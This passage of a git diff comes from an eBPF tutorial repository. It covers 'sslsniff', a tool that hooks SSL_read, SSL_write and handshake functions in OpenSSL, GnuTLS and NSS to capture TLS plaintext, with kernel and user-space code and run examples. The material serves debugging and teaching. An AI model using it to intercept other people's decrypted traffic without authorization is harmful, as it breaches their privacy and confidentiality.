`do_handshake` 的返回值,判断握手是否成功。 +5. 查找或初始化与当前线程关联的 `probe_SSL_data_t` 数据结构。 +6. 更新数据结构的字段,包括时间戳、持续时间、进程信息等。 +7. 通过 `bpf_perf_event_output` 将数据发送到用户态。 + +我们的 eBPF 代码不仅跟踪了 `ssl_read` 和 `ssl_write` 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 + +通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 + +## 用户态辅助代码分析与解读 + +在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 + +### 1. 支持的库挂载 + +上述代码片段中,根据环境变量 `env` 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 + +为了实现这一功能,首先利用 `find_library_path` 函数确定库的路径。然后,根据库的类型,调用对应的 `attach_` 函数来将 eBPF 程序挂载到库函数上。 + +```c + if (env.openssl) { + char *openssl_path = find_library_path("libssl.so"); + printf("OpenSSL path: %s\n", openssl_path); + attach_openssl(obj, openssl_path); + } + if (env.gnutls) { + char *gnutls_path = find_library_path("libgnutls.so"); + printf("GnuTLS path: %s\n", gnutls_path); + attach_gnutls(obj, gnutls_path); + } + if (env.nss) { + char *nss_path = find_library_path("libnspr4.so"); + printf("NSS path: %s\n", nss_path); + attach_nss(obj, nss_path); + } +``` + +这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。 + +### 2. 详细挂载逻辑 + +具体的 attach 函数如下: + +```c +#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ + do { \ + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \ + .retprobe = is_retprobe); \ + skel->links.prog_name = bpf_program__attach_uprobe_opts( \ + skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \ + } while (false) + +int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); + + if (env.latency && env.handshake) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_exit); + } + + return 0; +} + +int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); + + return 0; +} + +int attach_nss(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); + + return 0; +} +``` + +我们进一步观察 `attach_` 函数,可以看到它们都使用了 `ATTACH_UPROBE_CHECKED` 和 `ATTACH_URETPROBE_CHECKED` 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。 + +考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 `SSL_write`,而 GnuTLS 使用 `gnutls_record_send`),所以我们需要为每个库写一个独立的 `attach_` 函数。 + +例如,在 `attach_openssl` 函数中,我们为 `SSL_write` 和 `SSL_read` 设置了 probe。如果用户还希望追踪握手的延迟 (`env.latency`) 和握手过程 (`env.handshake`),那么我们还会为 `SSL_do_handshake` 设置 probe。 + +在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 `perf_buffer__poll` 函数来读取内核态上报的数据,如下所示: + +```c + while (!exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + warn("error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; + } + err = 0; + } +``` + +最后,在 print_event 函数中,我们将数据打印到标准输出: + +```c +// Function to print the event from the perf buffer +void print_event(struct probe_SSL_data_t *event, const char *evt) { + ... + if (buf_size != 0) { + if (env.hexdump) { + // 2 characters for each byte + null terminator + char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; + buf_to_hex((uint8_t *)buf, buf_size, hex_data); + + printf("\n%s\n", s_mark); + for (size_t i = 0; i < strlen(hex_data); i += 32) { + printf("%.32s\n", hex_data + i); + } + printf("%s\n\n", e_mark); + } else { + printf("\n%s\n%s\n%s\n\n", s_mark, buf, e_mark); + } + } +} +``` + +完整的源代码可以在这里查看: + +## 编译与运行 + +关于如何安装依赖,请参考: + +要开始使用 `sslsniff`,首先要进行编译: + +```sh +make +``` + +完成后,请按照以下步骤操作: + +### **启动 sslsniff** + +在一个终端中,执行以下命令来启动 `sslsniff`: + +```sh +sudo ./sslsniff +``` + +### **执行 CURL 命令** + +在另一个终端中,执行: + +```console +curl https://example.com +``` + +正常情况下,你会看到类似以下的输出: + +```html + + + + Example Domain + ... + +
+ ... +
+ + +``` + +### **sslsniff 输出** + +当执行 `curl` 命令后,`sslsniff` 会显示以下内容: + +```txt + READ/RECV 0.132786160 curl 47458 1256 + ----- DATA ----- + + ... +
+

Example Domain

+ ... +
+ + + + ----- END DATA ----- +``` + +**注意**:显示的 HTML 内容可能会因 `example.com` 页面的不同而有所不同。 + +### 显示延迟和握手过程 + +要查看延迟和握手过程,请执行以下命令: + +```console +$ sudo ./sslsniff -l --handshake +OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 +GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30 +NSS path: /lib/x86_64-linux-gnu/libnspr4.so +FUNC TIME(s) COMM PID LEN LAT(ms) +HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 +``` + +### 16进制输出 + +要以16进制格式显示数据,请执行以下命令: + +```console +$ sudo ./sslsniff --hexdump +WRITE/SEND 0.000000000 curl 16104 24 +----- DATA ----- +505249202a20485454502f322e300d0a +0d0a534d0d0a0d0a +----- END DATA ----- + +... +``` + +## 总结 + +eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 + +参考资料: + +- +- +- +- +- diff --git a/src/30-sslsniff/README_en.md b/src/30-sslsniff/README_en.md deleted file mode 100644 index c1b8dcf8..00000000 --- a/src/30-sslsniff/README_en.md +++ /dev/null @@ -1,544 +0,0 @@ -# eBPF Practical Tutorial: Capturing SSL/TLS Plain Text Data Using uprobe - -With the widespread use of TLS in modern network environments, tracing microservices RPC messages has become increasingly challenging. Traditional traffic sniffing techniques often face limitations in accessing only encrypted data, preventing a genuine observation of the original communication content. This restriction poses significant obstacles to system debugging and analysis. - -However, a new solution is now available. Through the use of eBPF technology and its capability to perform probing in user space, a method has emerged to regain plain text data, allowing us to intuitively view the pre-encrypted communication content. Nevertheless, each application might utilize different libraries, and each library comes in multiple versions, introducing complexity to the tracking process. - -In this tutorial, we will guide you through an eBPF tracing technique that spans across various user-space SSL/TLS libraries. This technique not only allows simultaneous tracing of user-space libraries like GnuTLS and OpenSSL but also significantly reduces maintenance efforts for new library versions compared to previous methods. The complete code for this tutorial can be found in <完整的源代码可以在这里查看: - -## Background Knowledge - -Before delving into the main topic of this tutorial, we need to grasp some core concepts that will serve as the foundation for our subsequent discussions. - -### SSL and TLS - -SSL (Secure Sockets Layer): Developed by Netscape in the early 1990s, SSL provides data encryption for communication between two machines on a network. However, due to known security vulnerabilities, SSL has been succeeded by its successor, TLS. - -TLS (Transport Layer Security): TLS is the successor to SSL, aiming to provide stronger and more secure data encryption methods. TLS operates through a handshake process during which a client and a server select an encryption algorithm and corresponding keys. Once the handshake is complete, data transmission begins, with all data being encrypted using the chosen algorithm and keys. - -### Operation Principles of TLS - -Transport Layer Security (TLS) is a cryptographic protocol designed to provide security for communication over computer networks. Its primary goal is to provide security, including privacy (confidentiality), integrity, and authenticity, for two or more communicating computer applications over a network using cryptography, such as certificates. TLS consists of two sub-layers: the TLS Record Protocol and the TLS Handshake Protocol. - -#### Handshake Process - -When a client connects to a TLS-enabled server and requests a secure connection, the handshake process begins. The handshake allows the client and server to establish security parameters for the connection using asymmetric cryptography. The complete process is as follows: - -1. **Initial Handshake**: The client connects to the TLS-enabled server, requests a secure connection, and provides a list of supported cipher suites (encryption algorithms and hash functions). -2. **Selecting Cipher Suite**: From the provided list, the server chooses a cipher suite and hash function it also supports and notifies the client of the decision. -3. **Providing Digital Certificate**: Usually, the server then provides identity authentication in the form of a digital certificate. This certificate includes the server's name, trusted certificate authorities (guaranteeing the certificate's authenticity), and the server's public encryption key. -4. **Certificate Verification**: The client verifies the certificate's validity before proceeding. -5. **Generating Session Key**: To create a session key for a secure connection, the client has two methods: - - Encrypt a random number (PreMasterSecret) with the server's public key and send the result to the server (only the server can decrypt it with its private key); both parties then use this random number to generate a unique session key for encrypting and decrypting data during the session. - - Use Diffie-Hellman key exchange (or its variant, Elliptic Curve DH) to securely generate a random and unique session key for encryption and decryption. This key has the additional property of forward secrecy: even if the server's private key is exposed in the future, it can't be used to decrypt the current session, even if a third party intercepts and records the session. - -Once these steps are successfully completed, the handshake process concludes, and the encrypted connection begins. This connection uses the session key for encryption and decryption until the connection is closed. If any of the above steps fail, the TLS handshake fails, and the connection won't be established. - -#### TLS in the OSI Model - -TLS and SSL don't perfectly align with any single layer of the OSI model or the TCP/IP model. TLS "runs over some reliable transport protocol (such as TCP)," which means it sits above the transport layer. It provides encryption for higher layers, typically the presentation layer. However, applications using TLS often consider it the transport layer, even though applications using TLS must actively control the initiation of TLS handshakes and the handling of exchanged authentication certificates. - -### eBPF and uprobes - -eBPF (Extended Berkeley Packet Filter): It's a kernel technology that allows users to run predefined programs in the kernel space without modifying kernel source code or reloading modules. It creates a bridge that enables interaction between user space and kernel space, providing unprecedented capabilities for tasks like system monitoring, performance analysis, and network traffic analysis. - -uprobes are a significant feature of eBPF, allowing dynamic insertion of probe points in user space applications, particularly useful for tracking function calls in SSL/TLS libraries. Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs. bpftime can have a performance overhead that is one order of magnitude smaller than that of kernel mode eBPF. - -### User-Space Libraries - -The implementation of the SSL/TLS protocol heavily relies on user-space libraries. Here are some common ones: - -- OpenSSL: An open-source, feature-rich cryptographic library widely used in many open-source and commercial projects. -- BoringSSL: A fork of OpenSSL maintained by Google, focusing on simplification and optimization for Google's needs. -- GnuTLS: Part of the GNU project, offering an implementation of SSL, TLS, and DTLS protocols. GnuTLS differs from OpenSSL and BoringSSL in API design, module structure, and licensing. - -## OpenSSL API Analysis - -OpenSSL is a widely used open-source library providing a complete implementation of the SSL and TLS protocols, ensuring data transmission security in various applications. Among its functions, SSL_read() and SSL_write() are two core API functions for reading from and writing to TLS/SSL connections. In this section, we'll delve into these functions to help you understand their mechanisms. - -### 1. SSL_read Function - -When we want to read data from an established SSL connection, we can use the `SSL_read` or `SSL_read_ex` function. The function prototype is as follows: - -```c -int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); -int SSL_read(SSL *ssl, void *buf, int num); -``` - -`SSL_read` and `SSL_read_ex` attempt to read up to `num` bytes of data from the specified `ssl` into the buffer `buf`. Upon success, `SSL_read_ex` stores the actual number of read bytes in `*readbytes`. - -### 2. Function SSL_write - -When we want to write data into an established SSL connection, we can use the `SSL_write` or `SSL_write_ex` functions. - -Function prototype: - -```c -int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); -int SSL_write(SSL *ssl, const void *buf, int num); -``` - -`SSL_write` and `SSL_write_ex` will write up to `num` bytes of data from the buffer `buf` into the specified `ssl` connection. Upon success, `SSL_write_ex` will store the actual number of written bytes in `*written`. - -## Writing eBPF Kernel Code - -In our example, we use eBPF to hook the `ssl_read` and `ssl_write` functions to perform custom actions when data is read from or written to an SSL connection. - -### Data Structures - -Firstly, we define a data structure `probe_SSL_data_t` to transfer data between kernel and user space: - -```c -#define MAX_BUF_SIZE 8192 -#define TASK_COMM_LEN 16 - -struct probe_SSL_data_t { - __u64 timestamp_ns; // Timestamp (nanoseconds) - __u64 delta_ns; // Function execution time - __u32 pid; // Process ID - __u32 tid; // Thread ID - __u32 uid; // User ID - __u32 len; // Length of read/write data - int buf_filled; // Whether buffer is filled completely - int rw; // Read or Write (0 for read, 1 for write) - char comm[TASK_COMM_LEN]; // Process name - __u8 buf[MAX_BUF_SIZE]; // Data buffer - int is_handshake; // Whether it's handshake data -}; -``` - -### Hook Functions - -Our goal is to hook into the `SSL_read` and `SSL_write` functions. We define a function `SSL_exit` to handle the return values of these two functions. This function determines whether to trace and collect data based on the current process and thread IDs. - -```c -static int SSL_exit(struct pt_regs *ctx, int rw) { - int ret = 0; - u32 zero = 0; - u64 pid_tgid = bpf_get_current_pid_tgid(); - u32 pid = pid_tgid >> 32; - u32 tid = (u32)pid_tgid; - u32 uid = bpf_get_current_uid_gid(); - u64 ts = bpf_ktime_get_ns(); - - if (!trace_allowed(uid, pid)) { - return 0; - } - - /* store arg info for later lookup */ - u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); - if (bufp == 0) - return 0; - - u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); - if (!tsp) - return 0; - u64 delta_ns = ts - *tsp; - - int len = PT_REGS_RC(ctx); - if (len <= 0) // no data - return 0; - - struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); - if (!data) - return 0; - - data->timestamp_ns = ts; - data->delta_ns = delta_ns; - data->pid = pid; - data->tid = tid; - data->uid = uid; - data->len = (u32)len; - data->buf_filled = 0; - data->rw = rw; - data->is_handshake = false; - u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); - - bpf_get_current_comm(&data->comm, sizeof(data->comm)); - - if (bufp != 0) - ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); - - bpf_map_delete_elem(&bufs, &tid); - bpf_map_delete_elem(&start_ns, &tid); - - if (!ret) - data->buf_filled = 1; - else - buf_copy_size = 0; - - bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, - EVENT_SIZE(buf_copy_size)); - return 0; -} -``` - -The `rw` parameter here indicates whether it's a read or write operation. 0 represents read, and 1 represents write. - -#### Data Collection Process - -1. Obtain the ID of the current process and thread, along with the ID of the current user. -2. Use `trace_allowed` to determine if tracing is allowed for this process. -3. Get the start time to calculate the execution time of the function. -4. Attempt to retrieve relevant data from the `bufs` and `start_ns` maps. -5. If data retrieval is successful, create or locate a `probe_SSL_data_t` structure to populate the data. -6. Copy the data from user space to the buffer, ensuring it doesn't exceed the designated size. -7. Finally, send the data to user space. - -Note: We use two user-level return probes `uretprobe` to respectively hook the returns of `SSL_read` and `SSL_write`: - -```c -SEC("uretprobe/SSL_read") -int BPF_URETPROBE(probe_SSL_read_exit) { - return (SSL_exit(ctx, 0)); // 0 indicates read operation -} - -SEC("uretprobe/SSL_write") -int BPF_URETPROBE(probe_SSL_write_exit) { - return (SSL_exit(ctx, 1)); // 1 indicates write operation -} -``` - -### Hooking into the Handshake Process - -In SSL/TLS, the handshake is a special process used to establish a secure connection between a client and a server. To analyze this process, we hook into the `do_handshake` function to track the start and end of the handshake. - -#### Entering the Handshake - -We use a `uprobe` to set a probe for the `do_handshake` function: - -```c - -SEC("uprobe/do_handshake") -int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { - u64 pid_tgid = bpf_get_current_pid_tgid(); - u32 pid = pid_tgid >> 32; - u32 tid = (u32)pid_tgid; - u64 ts = bpf_ktime_get_ns(); - u32 uid = bpf_get_current_uid_gid(); - - if (!trace_allowed(uid, pid)) { - return 0; - } - - /* store arg info for later lookup */ - bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); - return 0; -} -``` - -The main functionality of this code is as follows: - -1. Obtain the current `pid`, `tid`, `ts`, and `uid`. -2. Use `trace_allowed` to verify if the process is allowed to be traced. -3. Store the current timestamp in the `start_ns` map, which will be used to calculate the duration of the handshake process later. - -#### Exiting the Handshake - -Similarly, we've set a `uretprobe` for the return of `do_handshake`: - -```c -SEC("uretprobe/do_handshake") -int BPF_URETPROBE(handle_do_handshake_exit) { - // Code to execute upon exiting the do_handshake function. - return 0; -} -``` - -In this context, the `uretprobe` will execute the provided code when the `do_handshake` function exits. - -```c - -SEC("uretprobe/do_handshake") -int BPF_URETPROBE(probe_SSL_do_handshake_exit) { - u32 zero = 0; - u64 pid_tgid = bpf_get_current_pid_tgid(); - u32 pid = pid_tgid >> 32; - u32 tid = (u32)pid_tgid; - u32 uid = bpf_get_current_uid_gid(); - u64 ts = bpf_ktime_get_ns(); - int ret = 0; - - /* use kernel terminology here for tgid/pid: */ - u32 tgid = pid_tgid >> 32; - - /* store arg info for later lookup */ - if (!trace_allowed(tgid, pid)) { - return 0; - } - - u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); - if (tsp == 0) - return 0; - - ret = PT_REGS_RC(ctx); - if (ret <= 0) // handshake failed - return 0; - - struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); - if (!data) - return 0; - - data->timestamp_ns = ts; - data->delta_ns = ts - *tsp; - data->pid = pid; - data->tid = tid; - data->uid = uid; - data->len = ret; - data->buf_filled = 0; - data->rw = 2; - data->is_handshake = true; - bpf_get_current_comm(&data->comm, sizeof(data->comm)); - bpf_map_delete_elem(&start_ns, &tid); - - bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, - EVENT_SIZE(0)); - return 0; -} -``` - -Logic of this Function: - -1. Obtain the current `pid`, `tid`, `ts`, and `uid`. -2. Use `trace_allowed` to recheck if tracing is allowed. -3. Look up the timestamp in the `start_ns` map for calculating handshake duration. -4. Use `PT_REGS_RC(ctx)` to get the return value of `do_handshake` and determine if the handshake was successful. -5. Find or initialize the `probe_SSL_data_t` data structure associated with the current thread. -6. Update the data structure's fields, including timestamp, duration, process information, etc. -7. Use `bpf_perf_event_output` to send the data to user space. - -Our eBPF code not only tracks data transmission for `ssl_read` and `ssl_write` but also focuses on the SSL/TLS handshake process. This information is crucial for a deeper understanding and optimization of the performance of secure connections. - -Through these hook functions, we can obtain data regarding the success of the handshake, the time taken for the handshake, and related process information. This provides us with insights into the behavior of the system's SSL/TLS, enabling us to perform more in-depth analysis and optimization when necessary. - -## User-Space Assisted Code Analysis and Interpretation - -In the eBPF ecosystem, user-space and kernel-space code often work in collaboration. Kernel-space code is responsible for data collection, while user-space code manages, processes, and handles this data. In this section, we will explain how the above user-space code collaborates with eBPF to trace SSL/TLS interactions. - -### 1. Supported Library Attachment - -In the provided code snippet, based on the setting of the `env` environment variable, the program can choose to attach to three common encryption libraries (OpenSSL, GnuTLS, and NSS). This means that we can trace calls to multiple libraries within the same tool. - -To achieve this functionality, the `find_library_path` function is first used to determine the library's path. Then, depending on the library type, the corresponding `attach_` function is called to attach the eBPF program to the library function. - -```c - if (env.openssl) { - char *openssl_path = find_library_path("libssl.so"); - printf("OpenSSL path: %s\n", openssl_path); - attach_openssl(obj, openssl_path); - } - if (env.gnutls) { - char *gnutls_path = find_library_path("libgnutls.so"); - printf("GnuTLS path: %s\n", gnutls_path); - attach_gnutls(obj, gnutls_path); - } - if (env.nss) { - char *nss_path = find_library_path("libnspr4.so"); - printf("NSS path: %s\n", nss_path); - attach_nss(obj, nss_path); - } -``` - -This section primarily covers the attachment logic for the OpenSSL, GnuTLS, and NSS libraries. NSS is a set of security libraries designed for organizations, supporting the creation of secure client and server applications. Originally developed by Netscape, they are now maintained by Mozilla. The other two libraries have been introduced earlier and are not reiterated here. - -### 2. Detailed Attachment Logic - -The specific `attach` functions are as follows: - -```c -#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ - do { \ - LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \ - .retprobe = is_retprobe); \ - skel->links.prog_name = bpf_program__attach_uprobe_opts( \ - skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \ - } while (false) - -int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { - ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); - ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); - - if (env.latency && env.handshake) { - ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, - probe_SSL_do_handshake_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, - probe_SSL_do_handshake_exit); - } - - return 0; -} - -int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { - ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); - ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); - - return 0; -} - -int attach_nss(struct sslsniff_bpf *skel, const char *lib) { - ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); - ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); - ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); - ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); - ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); - - return 0; -} -``` - -We further examine the `attach_` function and can see that they both use the `ATTACH_UPROBE_CHECKED` and `ATTACH_URETPROBE_CHECKED` macros to implement specific mounting logic. These two macros are used respectively for setting uprobe (function entry) and uretprobe (function return). - -Considering that different libraries have different API function names (for example, OpenSSL uses `SSL_write`, while GnuTLS uses `gnutls_record_send`), we need to write a separate `attach_` function for each library. - -For instance, in the `attach_openssl` function, we set up probes for both `SSL_write` and `SSL_read`. If users also want to track handshake latency (`env.latency`) and the handshake process (`env.handshake`), we set up a probe for `SSL_do_handshake`. - -In the eBPF ecosystem, `perf_buffer` is an efficient mechanism used to transfer data from kernel space to user space. This is particularly useful for kernel-space eBPF programs as they can't directly interact with user space. With `perf_buffer`, we can collect data in kernel-space eBPF programs and then asynchronously read this data in user space. We use the `perf_buffer__poll` function to read data reported in kernel space, as shown below: - -```c -while (!exiting) { - err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); - if (err < 0 && err != -EINTR) { - warn("error polling perf buffer: %s\n", strerror(-err)); - goto cleanup; - } - err = 0; -} -``` - -Finally, in the `print_event` function, we print the data to standard output: - -```c -// Function to print the event from the perf buffer -void print_event(struct probe_SSL_data_t *event, const char *evt) { - ... - if (buf_size != 0) { - if (env.hexdump) { - // 2 characters for each byte + null terminator - char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; - buf_to_hex((uint8_t *)buf, buf_size, hex_data); - - printf("\n%s\n", s_mark); - for (size_t i = 0; i < strlen(hex_data); i += 32) { - printf("%.32s\n", hex_data + i); - } - printf("%s\n\n", e_mark); - } else { - printf("\n%s\n%s\n%s\n\n", s_mark, buf, e_mark); - } - } -} -``` - -You can find the complete source code here: [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff) - -## Compilation and Execution - -To start using `sslsniff`, you need to first compile it: - -```sh -make -``` - -Once done, follow these steps: - -### **Start sslsniff** - -In a terminal, execute the following command to start `sslsniff`: - -```sh -sudo ./sslsniff -``` - -### **Execute CURL command** - -In another terminal, execute: - -```console -curl https://example.com -``` - -Under normal circumstances, you will see output similar to the following: - -```html - - - - Example Domain - ... - -
- ... -
- - -``` - -### **sslsniff Output** - -After executing the `curl` command, `sslsniff` will display the following content: - -```txt - READ/RECV 0.132786160 curl 47458 1256 - ----- DATA ----- - - ... -
-

Example Domain

- ... -
- - - - ----- END DATA ----- -``` - -**Note**: The displayed HTML content may vary depending on the specific content of the `example.com` page. - -### Displaying Latency and Handshake Process - -To view latency and handshake process, execute the following command: - -```console -$ sudo ./sslsniff -l --handshake -OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 -GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30 -NSS path: /lib/x86_64-linux-gnu/libnspr4.so -FUNC TIME(s) COMM PID LEN LAT(ms) -HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 -``` - -### Hexadecimal Output - -To display data in hexadecimal format, execute the following command: - -```console -$ sudo ./sslsniff --hexdump -WRITE/SEND 0.000000000 curl 16104 24 ------ DATA ----- -505249202a20485454502f322e300d0a -0d0a534d0d0a0d0a ------ END DATA ----- - -... -``` - -## Summary - -eBPF is a very powerful technology that can help us gain deeper insights into how a system works. This tutorial is a simple example demonstrating how to use eBPF to monitor SSL/TLS communication. If you're interested in eBPF technology and want to learn more and practice further, you can visit our tutorial code repository at and tutorial website at . - -References: - -- -- -- -- -- - -> The original link of this article: diff --git a/src/30-sslsniff/sslsniff.bpf.c b/src/30-sslsniff/sslsniff.bpf.c index 4ed51736..1b0a8866 100644 --- a/src/30-sslsniff/sslsniff.bpf.c +++ b/src/30-sslsniff/sslsniff.bpf.c @@ -16,6 +16,13 @@ struct { __uint(value_size, sizeof(__u32)); } perf_SSL_events SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 10240); + __type(key, __u32); + __type(value, size_t*); +} readbytes_ptrs SEC(".maps"); + #define BASE_EVENT_SIZE ((size_t)(&((struct probe_SSL_data_t *)0)->buf)) #define EVENT_SIZE(X) (BASE_EVENT_SIZE + ((size_t)(X))) #define MAX_ENTRIES 10240 @@ -153,6 +160,142 @@ int BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); } +SEC("uprobe/SSL_write_ex") +int BPF_UPROBE(probe_SSL_write_ex_enter, void *ssl, void *buf, size_t num, size_t *readbytes) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + bpf_map_update_elem(&bufs, &tid, &buf, BPF_ANY); + bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); + + bpf_map_update_elem(&readbytes_ptrs, &tid, &readbytes, BPF_ANY); + + return 0; +} + +SEC("uprobe/SSL_read_ex") +int BPF_UPROBE(probe_SSL_read_ex_enter, void *ssl, void *buf, size_t num, size_t *readbytes) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + bpf_map_update_elem(&bufs, &tid, &buf, BPF_ANY); + bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); + + bpf_map_update_elem(&readbytes_ptrs, &tid, &readbytes, BPF_ANY); + + return 0; +} + +static int ex_SSL_exit(struct pt_regs *ctx, int 